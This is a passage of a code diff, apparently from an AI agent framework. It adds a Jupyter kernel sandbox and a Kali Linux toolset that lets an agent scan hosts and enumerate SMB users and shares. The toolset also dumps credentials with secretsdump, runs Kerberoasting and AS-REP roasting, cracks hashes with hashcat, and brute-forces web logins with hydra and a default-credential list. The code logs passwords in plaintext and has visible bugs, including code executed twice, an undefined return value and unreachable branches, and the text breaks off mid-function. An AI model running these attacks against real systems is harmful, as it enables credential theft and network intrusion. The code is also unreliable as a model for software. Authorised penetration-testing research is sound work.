execution_count=self.execution_count, + ) + + def to_notebook(self) -> Notebook: + """Convert the execution result to a notebook.""" + return Notebook(cells=[self.to_cell()]) + + def to_str(self) -> str: + """Get the stdout output as a string.""" + output_str: str = "" + for output in self.outputs: + if output["output_type"] == "stream": + output_str += output["text"] + elif ( + output["output_type"] in ["display_data", "execute_result"] + and "text/plain" in output["data"] + ): + output_str += output["data"]["text/plain"] + + return output_str + (self.error or "") + + +# Exceptions + + +class PythonKernelNotRunningError(Exception): + """Raised when trying to manage a kernel that is not running.""" + + def __init__(self, message: str = "Kernel is not running") -> None: + super().__init__(message) + + +class PythonKernelStartError(Exception): + """Raised when the kernel fails to start.""" + + def __init__(self, message: str = "Failed to start kernel") -> None: + super().__init__(message) + + +# Main class + + +class PythonKernel(Toolset): + """A Python kernel for executing code.""" + + def __init__( + self, + image: str = "jupyter/datascience-notebook:latest", + *, + memory_limit: str = "4g", + kernel_name: str = "python3", + work_dir: Path | str | None = None, + volumes: list[str] | None = None, + ) -> None: + """Create a python kernel.""" + self.image = image + self.memory_limit = memory_limit + self.kernel_name = kernel_name + self.volumes = volumes or [] + + self._token = uuid.uuid4().hex + + self._client: aiodocker.Docker | None = None + self._container: aiodocker.containers.DockerContainer | None = None + self._work_dir = Path(work_dir or f".work/{uuid.uuid4().hex[:8]}") + self._kernel_id: str | None = None + self._base_url: str | None = None + + @property + def base_url(self) -> str: + """Get the base URL for the Jupyter server.""" + if not self._base_url: + raise PythonKernelNotRunningError + return self._base_url + + @property + def ws_url(self) -> str: + """Get the websocket URL for the kernel.""" + if not self._base_url or not self._kernel_id: + raise PythonKernelNotRunningError + return f"{self._base_url.replace('http', 'ws')}/api/kernels/{self._kernel_id}/channels?token={self._token}" + + @property + def client(self) -> aiodocker.Docker: + """Get the docker client.""" + if not self._client: + self._client = aiodocker.Docker() + return self._client + + @property + def container(self) -> aiodocker.containers.DockerContainer: + """Get the running docker container.""" + if not self._container: + raise PythonKernelNotRunningError + return self._container + + @property + def work_dir(self) -> Path: + return self._work_dir + + # Internals + + @logger.catch(message="Failed to start container", reraise=True) + async def _start_container(self) -> None: + try: + await self.client.images.inspect(self.image) + except aiodocker.exceptions.DockerError: + logger.info(f"Pulling {self.image} ...") + await self.client.images.pull(self.image) + + # Create and start container + container_config: aiodocker.types.JSONObject = { + "Image": self.image, + "ExposedPorts": {"8888/tcp": {}}, + "HostConfig": { + "Memory": parse_memory_limit(self.memory_limit), + "MemorySwap": -1, # Disable swap + "PortBindings": { + "8888/tcp": [{"HostPort": "0"}], # Let Docker choose a port + }, + "Binds": [f"{self._work_dir.absolute()!s}:/home/jovyan/work", *self.volumes], + }, + "Env": [ + f"JUPYTER_TOKEN={self._token}", + "JUPYTER_ALLOW_INSECURE_WRITES=true", + ], + "Cmd": ["jupyter", "server", "--ip=0.0.0.0", "--no-browser"], + } + + self._container = await self.client.containers.create(config=container_config) + await self._container.start() + + container_info = await self._container.show() + host_port = container_info["NetworkSettings"]["Ports"]["8888/tcp"][0]["HostPort"] + self._base_url = f"http://localhost:{host_port}" + + await self._wait_for_jupyter() + + logger.debug( + f"Python kernel container started at {self._base_url} with token {self._token} (Memory: {self.memory_limit})", + ) + + @logger.catch(message="Jupyter server did not start", reraise=True) + @tenacity.retry(stop=tenacity.stop_after_delay(30), wait=tenacity.wait_fixed(1)) + async def _wait_for_jupyter(self) -> None: + container_info = await self.container.show() + if container_info["State"]["Status"] != "running": + raise PythonKernelStartError("Container did not stay running") + + async with ( + aiohttp.ClientSession() as session, + session.get( + f"{self.base_url}/api/status", + params={"token": self._token}, + timeout=1, + ) as response, + ): + response.raise_for_status() + + @logger.catch(message="Failed to start kernel", reraise=True) + async def _start_kernel(self) -> None: + async with ( + aiohttp.ClientSession() as session, + session.post( + f"{self._base_url}/api/kernels", + params={"token": self._token}, + json={"name": self.kernel_name}, + ) as response, + ): + response.raise_for_status() + + kernel_info = await response.json() + self._kernel_id = kernel_info["id"] + + logger.debug(f"Started kernel '{self.kernel_name}' ({self._kernel_id})") + + @logger.catch(message="Failed to delete kernel") + async def _delete_kernel(self) -> None: + if not self._kernel_id: + return + + async with ( + aiohttp.ClientSession() as session, + session.delete( + f"{self._base_url}/api/kernels/{self._kernel_id}", + params={"token": self._token}, + ) as response, + ): + response.raise_for_status() + + self._kernel_id = None + logger.debug(f"Deleted kernel '{self.kernel_name}' ({self._kernel_id})") + + @logger.catch(message="Failed to delete container") + async def _delete_container(self) -> None: + if not self._container: + return + + container_info = await self._container.show() + container_id = container_info["Id"] + + logger.debug(f"Stopping container {container_id[:12]}...") + await self._container.stop(timeout=5) + await self._container.delete() + + self._container = None + logger.debug(f"Removed container {container_id[:12]}") + + # Init / Shutdown + + async def init(self) -> "PythonKernel": + """Initialize the container and kernel server.""" + await self.shutdown() + + self._client = aiodocker.Docker() + + await self._start_container() + await self._start_kernel() + return self + + async def shutdown(self) -> None: + """Clean up resources and reset state.""" + if self._client is None: + return + + logger.debug("Shutting down kernel and container...") + + # First, delete the kernel + with logger.catch(Exception, message="Error during kernel shutdown"): + await self._delete_kernel() + + # Then, delete the container + with logger.catch(Exception, message="Error during container shutdown"): + await self._delete_container() + + # Close the Docker client + if self._client: + with logger.catch(Exception, message="Error during Docker client shutdown"): + await self._client.close() + self._client = None + + logger.debug("Kernel shutdown complete") + + async def __aenter__(self) -> "PythonKernel": + """Start a Jupyter server and kernel.""" + return await self.init() + + async def __aexit__( + self, + exc_type: type[BaseException] | None, + exc_val: BaseException | None, + exc_tb: types.TracebackType | None, + ) -> None: + """Stop the kernel and container.""" + await self.shutdown() + + async def get_container_logs(self) -> str: + """Get the logs of the container.""" + if not self._container: + return "" + + logs = await self._container.log(stdout=True, stderr=True) + return "\n".join(logs) + + @t.overload + async def execute( + self, + source: str | list[str], + *, + format: None = ..., + timeout: int = ..., + log_output: bool = ..., + ) -> KernelExecution: ... + + @t.overload + async def execute( + self, + source: str | list[str], + *, + format: t.Literal["str"], + timeout: int = ..., + log_output: bool = ..., + ) -> str: ... + + @t.overload + async def execute( + self, + source: str | list[str], + *, + format: t.Literal["cell"], + timeout: int = ..., + log_output: bool = ..., + ) -> NotebookCell: ... + + @t.overload + async def execute( + self, + source: str | list[str], + *, + format: t.Literal["notebook"], + timeout: int = ..., + log_output: bool = ..., + ) -> Notebook: ... + + async def execute( + self, + source: str | list[str], + *, + format: t.Literal["str", "cell", "notebook"] | None = None, + timeout: int = 30, + log_output: bool = False, + ) -> KernelExecution | Notebook | NotebookCell | str: + """Execute code in the kernel.""" + msg_id = str(uuid.uuid4()) + source = "".join(source) if isinstance(source, list) else source + execute_request = { + "header": { + "msg_id": msg_id, + "username": "user", + "session": str(uuid.uuid4()), + "msg_type": "execute_request", + "version": "5.0", + }, + "parent_header": {}, + "metadata": {}, + "content": { + "code": source, + "silent": False, + "store_history": True, + "user_expressions": {}, + "allow_stdin": False, + }, + } + + outputs: list[AnyDict] = [] + error: str | None = None + execution_count: int | None = None + + start_time = asyncio.get_event_loop().time() + + async with aiohttp.ClientSession() as session, session.ws_connect(self.ws_url) as ws: + await ws.send_json(execute_request) + + while (start_time + timeout) > asyncio.get_event_loop().time(): + try: + msg = await asyncio.wait_for(ws.receive_json(), timeout=1.0) + except asyncio.TimeoutError: + continue + + # Ensure this is for us + if msg.get("parent_header", {}).get("msg_id") != msg_id: + continue + + msg_type = msg.get("header", {}).get("msg_type") + content = msg.get("content", {}) + + if msg_type == "execute_result": + result_output = { + "output_type": "execute_result", + "metadata": content.get("metadata", {}), + "data": content.get("data", {}), + "execution_count": content.get("execution_count"), + } + outputs.append(result_output) + execution_count = content.get("execution_count") + + if log_output: + logger.info(content.get("data", {}).get("text/plain", "")) + + elif msg_type == "display_data": + display_output = { + "output_type": "display_data", + "metadata": content.get("metadata", {}), + "data": content.get("data", {}), + } + outputs.append(display_output) + + if log_output: + logger.info(content.get("data", {}).get("text/plain", "")) + + elif msg_type == "stream": + clean_text = strip_ansi_codes(content.get("text", "")) + stream_name = content.get("name", "stdout") + + # Try to append to an existing stream output + for i, output in enumerate(outputs): + if output["output_type"] == "stream" and output["name"] == stream_name: + outputs[i]["text"] += clean_text + break + else: + # Create a new stream output + if stream_name not in ("stdout", "stderr"): + stream_name = "stdout" + + stream_output = { + "output_type": "stream", + "name": stream_name, + "text": clean_text, + } + outputs.append(stream_output) + + if log_output: + logger.info(clean_text) + + elif msg_type == "error": + traceback = content.get("traceback", []) + error_output = { + "output_type": "error", + "ename": content.get("ename", ""), + "evalue": content.get("evalue", ""), + "traceback": traceback, + } + outputs.append(error_output) + error = strip_ansi_codes("\n".join(traceback)) + + elif msg_type == "execute_reply": + # In case we didn't receive an error message + if content.get("status") == "error" and not error: + error = f"{content.get('ename', '')}: {content.get('evalue', '')}" + # We're done processing this execution + break + else: + await self.interrupt() + raise asyncio.TimeoutError("Execution timed out") + + execution = KernelExecution( + source=source, + outputs=outputs, + error=error, + execution_count=execution_count, + ) + + match format: + case "str": + return execution.to_str() + case "cell": + return execution.to_cell() + case "notebook": + return execution.to_notebook() + case _: + return execution + + @tool_method() + async def execute_cell(self, cell: NotebookCell) -> NotebookCell: + """Execute a notebook cell.""" + cell = cell.model_copy(deep=True) + + if cell.cell_type != "code": + return cell + + result = await self.execute(cell.source) + + cell.outputs = result.outputs + cell.execution_count = result.execution_count or cell.execution_count + + return cell + + @tool_method() + async def execute_notebook( + self, + notebook: Notebook, + *, + stop_on_error: bool = True, + log_output: bool = True, + ) -> Notebook: + """Execute all cells in a notebook.""" + notebook = notebook.model_copy(deep=True) + + # Reset all outputs + for cell in notebook.cells: + if cell.cell_type == "code": + cell.outputs = [] + cell.execution_count = None + + # Execute each cell + logger.info(f"Executing notebook with {len(notebook.cells)} cells") + for i, cell in enumerate(notebook.cells): + if cell.cell_type != "code": + continue + + result = await self.execute(cell.source, log_output=log_output) + if not result.success and stop_on_error: + logger.error(f"Error in cell {i}: {result.error}") + break + + cell.outputs = result.outputs + cell.execution_count = result.execution_count or cell.execution_count + + return notebook + + @tool_method() + async def execute_code(self, code: str) -> str: + """ + Execute Python code in the jupyter kernel and return the output. + """ + results = await self.execute(code, format="str") + + log_output("python_code_output", results) + return await self.execute(code, format="str") + + async def get_kernel_state(self) -> KernelState: + """Get the state of the kernel.""" + if not self._kernel_id: + raise PythonKernelNotRunningError + + async with ( + aiohttp.ClientSession() as session, + session.get( + f"{self._base_url}/api/kernels/{self._kernel_id}", + params={"token": self._token}, + ) as response, + ): + response.raise_for_status() + kernel_info = await response.json() + + return t.cast("KernelState", kernel_info["execution_state"]) + + async def busy(self) -> bool: + """Check if the kernel is busy executing code.""" + return await self.get_kernel_state() == "busy" + + async def interrupt(self) -> None: + """Interrupt the kernel.""" + if not self._kernel_id: + return + + async with ( + aiohttp.ClientSession() as session, + session.post( + f"{self._base_url}/api/kernels/{self._kernel_id}/interrupt", + params={"token": self._token}, + ) as response, + ): + response.raise_for_status() + + logger.debug(f"Kernel {self._kernel_id} interrupted") + + @tool_method() + async def restart(self) -> None: + """Restart the kernel.""" + if not self._kernel_id: + return + + async with ( + aiohttp.ClientSession() as session, + session.post( + f"{self._base_url}/api/kernels/{self._kernel_id}/restart", + params={"token": self._token}, + ) as response, + ): + response.raise_for_status() + + logger.debug(f"Kernel {self._kernel_id} restarted") diff --git a/dreadnode/agent/tools/kali/__init__.py b/dreadnode/agent/tools/kali/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/kali/tool.py b/dreadnode/agent/tools/kali/tool.py new file mode 100644 index 00000000..839ae371 --- /dev/null +++ b/dreadnode/agent/tools/kali/tool.py @@ -0,0 +1,1325 @@ +import os +import subprocess +import tempfile +import time + +import requests +from loguru import logger + +import dreadnode as dn +from dreadnode.agent.tools import Toolset, tool_method + + +class KaliTool(Toolset): + """ + A collection of Kali Linux tools for penetration testing and security assessments. + """ + + tool_name: str = "kali-tools" + description: str = ( + "A collection of Kali Linux tools for penetration testing and security assessments." + ) + + @tool_method() + def nmap_scan(self, target: str) -> str: + """ + Scans target IPs to classify them as Domain Controllers or Member Servers. + + Args: + target: IP addresses to scan + + Returns: + Output of nmap scan + + Example: + >>> result = nmap_scan("192.168.1.2") + """ + + cmd = ["nmap", "-T4", "-sS", "-sV", "--open", *target.split(" ")] + + try: + logger.info("[*] Scanning targets...") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=300) # noqa: S603 + + if result.returncode != 0: + logger.error(f"[!] Nmap scan failed: {result.stderr}") + return result.stderr + + logger.info(f"[*] Nmap scan completed for target {target}: {result.stdout}") + return result.stdout + + except subprocess.TimeoutExpired: + logger.error("Nmap scan timed out after 5 minutes") + return "Nmap scan timed out after 5 minutes" + except Exception as e: + logger.error(f"Scan failed: {e!s}") + return f"Scan failed: {e!s}" + + @tool_method() + def enumerate_users_netexec( + self, + target: str, + username: str, + password: str, + domain: str, + ) -> str: + """ + Enumerate users using netexec (crackmapexec successor). + + Args: + target: IP address or hostname to enumerate + username: Username for authentication (empty string for null session) + password: Password for authentication (empty string for null session) + domain: Domain for authentication + + Returns: + String of netexec output + + Example: + >>> output = enumerate_users_netexec("192.168.1.100", "user", "pass") + """ + + try: + # Build netexec command + cmd = ["netexec", "smb", target] + + if username and password: + cmd.extend(["-u", username, "-p", password]) + if domain: + cmd.extend(["-d", domain]) + else: + cmd.extend(["-u", "", "-p", ""]) + + cmd.append("--users") + + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 + logger.info( + f"[*] Netexec user enumeration completed for target {target} username: {username} password: {password} domain: {domain} result: {result.stdout}" + ) + + except subprocess.TimeoutExpired: + raise TimeoutError(f"User enumeration timed out for {target}") from None + except Exception as e: + logger.error( + f"User enumeration failed for {target} username: {username} password: {password} domain: {domain} error: {e}" + ) + return f"User enumeration failed for {target} username: {username} password: {password} domain: {domain} error: {e}" + + return result.stdout + + @tool_method() + def enumerate_shares_netexec( + self, + target: str, + domain: str, + username: str = "", + password: str = "", + ) -> str: + """ + Enumerate shares using netexec (crackmapexec successor). + + Args: + target: IP address or hostname to enumerate + username: Username for authentication (empty for null session) + password: Password for authentication (empty for null session) + domain: Domain for authentication + + Returns: + String of netexec output + + Example: + >>> output = enumerate_shares_netexec("192.168.1.100", "user", "pass") + """ + + try: + # Build netexec command + cmd = ["netexec", "smb", target] + + if username and password: + cmd.extend(["-u", username, "-p", password]) + if domain: + cmd.extend(["-d", domain]) + else: + cmd.extend(["-u", "", "-p", ""]) + + cmd.append("--shares") + + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 + logger.info( + f"[*] Netexec share enumeration completed for target {target} username: {username} password: {password} domain: {domain} result: {result.stdout}" + ) + + except subprocess.TimeoutExpired: + raise TimeoutError(f"Share enumeration timed out for {target}") from None + except Exception as e: + logger.error( + f"Share enumeration failed for {target} username: {username} password: {password} domain: {domain} error: {e}" + ) + return f"Share enumeration failed for {target} username: {username} password: {password} domain: {domain} error: {e}" + + return result.stdout + + @tool_method() + def enumerate_share_files( + self, + target: str, + share_name: str, + username: str, + password: str, + ) -> str: + """ + Recursively enumerate files in an SMB share looking for interesting files. + + Args: + target: Target IP address + share_name: Name of the SMB share (e.g., 'SYSVOL', 'all', 'C$') + username: Username for authentication + password: Password for authentication + + Returns: + String of smbclient output + """ + share_path = f"//{target}/{share_name}" + + try: + cmd = [ + "smbclient", + share_path, + "-U", + f"{username}%{password}", + "-c", + "recurse ON; ls", + ] + + logger.info(f"[*] Enumerating files in {share_path}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 + + if result.returncode != 0: + logger.error(f"[!] Failed to list files: {result.stderr}") + return f"Failed to list files: {result.stderr}" + + except subprocess.TimeoutExpired: + logger.error(f"[!] File enumeration timed out for {share_path}") + return "File enumeration timed out" + except Exception as e: + logger.error(f"[!] Error during enumeration: {e!s}") + return f"Error during enumeration: {e!s}" + + return result.stdout + + @tool_method() + def download_file_content( + self, + target: str, + share_name: str, + file_path: str, + username: str, + password: str, + ) -> str: + """ + Download and return the content of a file from an SMB share. + + Args: + target: Target IP address + share_name: Name of the SMB share + file_path: Path to the file within the share (e.g., 'script.ps1', 'folder/file.txt') + username: Username for authentication + password: Password for authentication + max_size_mb: Maximum file size to download in MB + + Returns: + Str with file content + """ + + share_path = f"//{target}/{share_name}" + + try: + cmd = [ + "smbclient", + share_path, + "-U", + f"{username}%{password}", + "-c", + f"get {file_path} /dev/stdout", + ] + + logger.info(f"[*] Downloading {file_path} from {share_path}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) # noqa: S603 + + if result.returncode != 0: + logger.error(f"[!] Failed to download file: {result.stderr}") + return "Failed to download file: {result.stderr}" + + content = result.stdout + + logger.info(f"[+] Downloaded {len(content)} bytes from {file_path}") + + except subprocess.TimeoutExpired: + logger.error(f"[!] File download timed out for {file_path}") + return "File download timed out" + except Exception as e: + logger.error(f"[!] Error downloading file: {e!s}") + return f"Error downloading file: {e!s}" + + logger.info(f"[*] File download completed for {file_path} result: {content}") + return content + + @tool_method() + def secretsdump( + self, + target: str, + username: str, + password: str | None = None, + hash: str | None = None, + domain: str | None = None, + *, + use_kerberos: bool = False, + timeout_minutes: int = 10, + ) -> str: + """ + Extract secrets using impacket-secretsdump for credential harvesting. Must provide either password, hash, or set no_pass to True. no_pass should only be used for kerberos golden ticketauthentication. + + Args: + target: Target IP address + username: Username with admin privileges + password: Password for the username (optional) + hash: NTLM hash for authentication (optional) + domain: Domain name (optional, can be inferred) + no_pass: If True, do not use a password for authentication + timeout_minutes: Maximum time to spend dumping + + Returns: + String of secretsdump output + """ + + cmd = ["/usr/bin/impacket-secretsdump"] + + if password and domain: + target_string = f"{domain}/{username}:{password}@{target}" + elif password and not domain: + target_string = f"{username}:{password}@{target}" + elif hash and domain: + cmd.extend(["-hashes", f":{hash}"]) + target_string = f"{domain}/{username}@{target}" + elif hash and not domain: + cmd.extend(["-hashes", f":{hash}"]) + # assumes golden ticket + elif use_kerberos: + cmd.extend(["-k", "-no-pass"]) + target_string = f"{username}@{target}" + else: + raise ValueError("Either password or hash or use_kerberos must be provided") + raise ValueError("Either password or hash or no_pass must be provided") + + cmd.append(target_string) + + try: + logger.info(f"[*] Running secretsdump on {target} with {username}") + logger.info(f"[*] Command: {cmd}") + # Set up environment for Kerberos authentication if using golden ticket + env = os.environ.copy() if use_kerberos else None + if use_kerberos and env is not None: + env["KRB5CCNAME"] = "Administrator.ccache" + env["KRB5CCNAME"] = "Administrator.ccache" + + result = subprocess.run( # noqa: S603 + cmd, + check=False, + capture_output=True, + text=True, + timeout=timeout_minutes * 60, + env=env, + ) + + except subprocess.TimeoutExpired: + return "[!] Secretsdump timed out" + except Exception as e: + return f"[!] Secretsdump error: {e}" + + logger.info( + f"[*] Secretsdump completed for {target} with {username} result: {result.stdout}" + ) + return result.stdout + + @tool_method() + def kerberoast( + self, + domain: str, + username: str, + password: str, + dc_ip: str, + ) -> str: + """ + Perform Kerberoasting attack to extract service account password hashes. + + Args: + domain: Target domain (e.g., 'xx.yy.local') + username: Valid domain username + password: Password for the username + dc_ip: Domain controller IP address + output_file: Optional file to save hashes to + + Returns: + String of kerberoasting output from impacket-GetUserSPNs + """ + + cmd = [ + "/usr/bin/impacket-GetUserSPNs", + f"{domain}/{username}:{password}", + "-dc-ip", + dc_ip, + "-request", + ] + + try: + logger.info(f"[*] Kerberoasting {domain} using {username}:{password}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) # noqa: S603 + except subprocess.TimeoutExpired: + return "Error: timeout" + except Exception as e: + return f"Command failed: {e}" + else: + return result.stdout + + @tool_method() + def asrep_roast( + self, + domain: str, + username: str, + password: str, + dc_ip: str, + output_file: str | None = None, + user_list: list[str] | None = None, + ) -> str: + """ + Perform AS-REP roasting attack to find users without Kerberos pre-authentication. + + Args: + domain: Target domain (e.g., 'xx.yy.local') + username: Valid domain username (for enumeration) + password: Password for the username + dc_ip: Domain controller IP address + output_file: Optional file to save hashes to + user_list: Optional list of specific users to check + + Returns: + String of asrep roasting output from impacket-GetNPUsers + """ + + cmd = [ + "/usr/bin/impacket-GetNPUsers", + f"{domain}/{username}:{password}", + "-dc-ip", + dc_ip, + "-request", + ] + + if output_file: + cmd.extend(["-outputfile", output_file]) + + temp_userfile = None + if user_list: + with tempfile.NamedTemporaryFile(mode="w'", delete=False, suffix=".txt") as f: + temp_userfile = f.name + f.write("\n".join(user_list)) + cmd.extend(["-usersfile", temp_userfile]) + + try: + logger.info(f"[*] AS-REP roasting {domain} using {username}:{password}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) # noqa: S603 + + except subprocess.TimeoutExpired: + return "Error: Command timed out after 60 seconds" + except Exception as e: + return f"Command failed: {e}" + else: + return result.stdout + + @tool_method() + def hashcat( + self, + hash_value: str, + hashcat_mode: int = 13100, + wordlist_path: str = "/usr/share/wordlists/rockyou.txt", + max_time_minutes: int = 10, + ) -> str: + """ + Attempt to crack a password hash using hashcat. + + Args: + hash_value: Hash to crack + hashcat_mode: Hashcat mode to use + wordlist_path: Path to wordlist file (default: /usr/share/wordlists/rockyou.txt) + max_time_minutes: Maximum time to spend cracking + + Returns: + String output from hashcat including cracked passwords + + Example: + >>> result = hashcat_crack("aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76", + ... 1000, "/usr/share/wordlists/rockyou.txt") + """ + + with tempfile.NamedTemporaryFile(mode="w", suffix=".hash", delete=False) as hash_file: + hash_file.write(hash_value) + hash_file_path = hash_file.name + + try: + cmd = [ + "hashcat", + "-m", + str(hashcat_mode), + "-a", + "0", + hash_file_path, + wordlist_path, + "--runtime", + str(max_time_minutes * 60), + "--force", + ] + + result = subprocess.run( # noqa: S603 + cmd, + check=False, + capture_output=True, + text=True, + timeout=(max_time_minutes * 60) + 30, + ) + + if result.returncode not in (0, 1, 2): # 0=OK,1=No hashes cracked,2=Exhausted + logger.error(f"[!] Hashcat failed: {result.stderr}") + return f"Hashcat failed: {result.stderr}" + + show_cmd = ["hashcat", "-m", str(hashcat_mode), hash_file_path, "--show"] + + show_result = subprocess.run( # noqa: S603 + show_cmd, + check=False, + capture_output=True, + text=True, + timeout=30, + ) + + if show_result.stdout.strip(): + output = "\nCracked passwords (--show):\n" + show_result.stdout + + logger.info(f"[*] Hashcat completed for {hash_value} result: {output}") + + except subprocess.TimeoutExpired: + return "Error: Command timed out" + except Exception as e: + return f"Error: {e}" + else: + return output + + @tool_method() + def domain_admin_checker( + self, + targets: str, + username: str, + password: str = "", + hash: str = "", + ) -> str: + """ + Check if a user is a domain admin by checking output of whoami. + + Args: + targets: IP address or addresses to check + username: Username for authentication + password: Password for authentication (optional) + hash: NTLM hash for authentication (optional) + + Returns: + String of domain admin checker output + + Example: + >>> output = domain_admin_checker("192.168.1.100 192.168.1.101 192.168.1.102", "user", password="pass", hash="hash") + """ + + try: + cmd = ["netexec", "smb", *targets.split(" ")] + + if password: + logger.info(f"[*] Domain admin checker using password for {username}") + cmd.extend(["-u", username, "-p", password]) + elif hash: + logger.info(f"[*] Domain admin checker using hash for {username}") + cmd.extend(["-u", username, "-H", hash]) + + cmd.extend(["-x", "whoami"]) + + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 + + if result.returncode != 0: + logger.error(f"[!] Domain admin checker failed: {result.stderr}") + output = f"Command failed (return code {result.returncode}): {result.stderr}" + else: + output = "" + if result.stdout: + output += result.stdout + if result.stderr: + if output: + output += "\n" + result.stderr + else: + output = result.stderr + + logger.info( + f"[*] Domain admin checker completed for target {targets} username: {username} password: {password} hash: {hash} result: {output}" + ) + + except subprocess.TimeoutExpired: + raise TimeoutError(f"Domain admin checker timed out for {targets}") from None + except Exception as e: + logger.error( + f"Domain admin checker failed for {targets} username: {username} password: {password} hash: {hash} error: {e}" + ) + return f"Domain admin checker failed for {targets} username: {username} password: {password} hash: {hash} error: {e}" + + return output + + @tool_method() + def get_sid( + self, + domain: str, + username: str, + password: str, + ) -> str: + """ + Get the SID of a user. + + Args: + domain: Target domain (e.g., 'xx.yy.local') + username: Valid domain username + password: Password for the username + + Returns: + String of get_sid output + + Example: + >>> output = get_sid("domainname.local", "user.name", "mypassword1234") + """ + + cmd = ["impacket-lookupsid", f"{username}:{password}@{domain}"] + + try: + logger.info(f"[*] Getting SID for {domain} using {username}:{password}") + logger.info(f"[*] Command: {cmd}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 + + logger.info(f"[*] SID output for {domain} is {result.stdout}") + logger.info(f"[*] SID error for {domain} is {result.stderr}") + except subprocess.TimeoutExpired: + return "Error: Command timed out" + except Exception as e: + return f"Error: {e!s}" + else: + return result.stdout + + @tool_method() + def hydra_http_form_attack( + self, + target_url: str, + username_list: str = "/usr/share/wordlists/metasploit/unix_users.txt", + password_list: str = "/usr/share/wordlists/rockyou.txt", + form_parameters: str = "username:password", + failure_string: str = "Invalid", + max_attempts: int = 10, + ) -> str: + """ + Use hydra to perform HTTP form-based credential attacks. + + Args: + target_url: Target login URL (e.g., 'http://example.com/login.php') + username_list: Path to username wordlist (default: metasploit unix users) + password_list: Path to password wordlist (default: rockyou.txt) + form_parameters: Form field names separated by colon (e.g., 'user:pass') + failure_string: String that appears on failed login attempts + max_attempts: Maximum login attempts to prevent account lockout + + Returns: + String output from hydra showing successful credentials or failures + + Example: + >>> result = hydra_http_form_attack("http://target.com/login", failure_string="Login failed") + """ + + cmd = [ + "hydra", + "-L", + username_list, + "-P", + password_list, + "-t", + str(max_attempts), + "-f", # Stop on first success + target_url.split("/")[2], # Extract hostname + "http-form-post", + f"/{'/'.join(target_url.split('/')[3:])}:{form_parameters}:F={failure_string}", + ] + + try: + logger.info(f"[*] Starting hydra HTTP form attack on {target_url}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=300) # noqa: S603 + + logger.info(f"[*] Hydra HTTP form attack completed for {target_url}: {result.stdout}") + return result.stdout + "\n" + result.stderr + + except subprocess.TimeoutExpired: + logger.error("Hydra HTTP form attack timed out after 5 minutes") + return "Hydra attack timed out after 5 minutes" + except Exception as e: + logger.error(f"Hydra HTTP form attack failed: {e!s}") + return f"Hydra attack failed: {e!s}" + + @tool_method() + def test_common_web_credentials( + self, + target_url: str, + form_parameters: str = "username:password", + failure_string: str = "Invalid", + ) -> str: + """ + Test common default web credentials using hydra. + + Args: + target_url: Target login URL + form_parameters: Form field names (e.g., 'user:pass', 'email:password') + failure_string: String indicating failed login + + Returns: + Results of testing common credentials + + Example: + >>> result = test_common_web_credentials("http://target.com/admin/login") + """ + + # Create temporary file with common credentials + common_creds = [ + "admin:admin", + "admin:password", + "administrator:administrator", + "root:root", + "guest:guest", + "test:test", + "demo:demo", + "user:user", + "admin:123456", + "admin:", + "sa:sa", + ] + + try: + with tempfile.NamedTemporaryFile(mode="w", suffix=".txt", delete=False) as f: + for cred in common_creds: + f.write(cred + "\n") + cred_file = f.name + + cmd = [ + "hydra", + "-C", + cred_file, # Use colon-separated credential pairs + "-t", + "5", + "-f", # Stop on first success + target_url.split("/")[2], # Extract hostname + "http-form-post", + f"/{'/'.join(target_url.split('/')[3:])}:{form_parameters}:F={failure_string}", + ] + + logger.info(f"[*] Testing common credentials on {target_url}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 + + # Clean up temp file + import os + + os.unlink(cred_file) + + logger.info(f"[*] Common credential test completed for {target_url}") + return result.stdout + "\n" + result.stderr + + except subprocess.TimeoutExpired: + return "Common credential test timed out" + except Exception as e: + return f"Common credential test failed: {e!s}" + + @tool_method() + def dig_dns_lookup( + self, + domain: str, + record_type: str = "A", + nameserver: str = "8.8.8.8", + ) -> str: + """ + Perform DNS lookup using dig command. + + Args: + domain: Domain/subdomain to query + record_type: DNS record type (A, AAAA, CNAME, NS, MX, TXT, etc.) + nameserver: DNS server to query (default: Google DNS) + + Returns: + dig command output showing DNS records + + Example: + >>> result = dig_dns_lookup("subdomain.example.com", "CNAME") + """ + + cmd = ["dig", f"@{nameserver}", domain, record_type, "+short"] + + try: + logger.info(f"[*] Performing DNS lookup for {domain} ({record_type})") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=30) # noqa: S603 + + if result.stdout.strip(): + output = f"DNS {record_type} record for {domain}:\n{result.stdout.strip()}" + else: + output = f"No {record_type} record found for {domain}" + + logger.info(f"[*] DNS lookup completed for {domain}") + return output + + except subprocess.TimeoutExpired: + return f"DNS lookup timed out for {domain}" + except Exception as e: + return f"DNS lookup failed for {domain}: {e!s}" + + @tool_method() + def nslookup_dns_query( + self, + domain: str, + nameserver: str = "8.8.8.8", + ) -> str: + """ + Perform comprehensive DNS query using nslookup. + + Args: + domain: Domain/subdomain to query + nameserver: DNS server to query + + Returns: + nslookup output showing all DNS information + + Example: + >>> result = nslookup_dns_query("test.example.com") + """ + + cmd = ["nslookup", domain, nameserver] + + try: + logger.info(f"[*] Running nslookup for {domain}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=30) # noqa: S603 + + logger.info(f"[*] nslookup completed for {domain}") + return f"nslookup results for {domain}:\n{result.stdout}" + + except subprocess.TimeoutExpired: + return f"nslookup timed out for {domain}" + except Exception as e: + return f"nslookup failed for {domain}: {e!s}" + + @tool_method() + def check_subdomain_takeover( + self, + subdomain: str, + ) -> str: + """ + Perform basic DNS and HTTP checks on a subdomain. Returns raw data for analysis. + + Args: + subdomain: Subdomain to check + + Returns: + DNS and HTTP information for the subdomain + + Example: + >>> result = check_subdomain_takeover("old.example.com") + """ + + results = [] + executed_commands = [] + + # Check 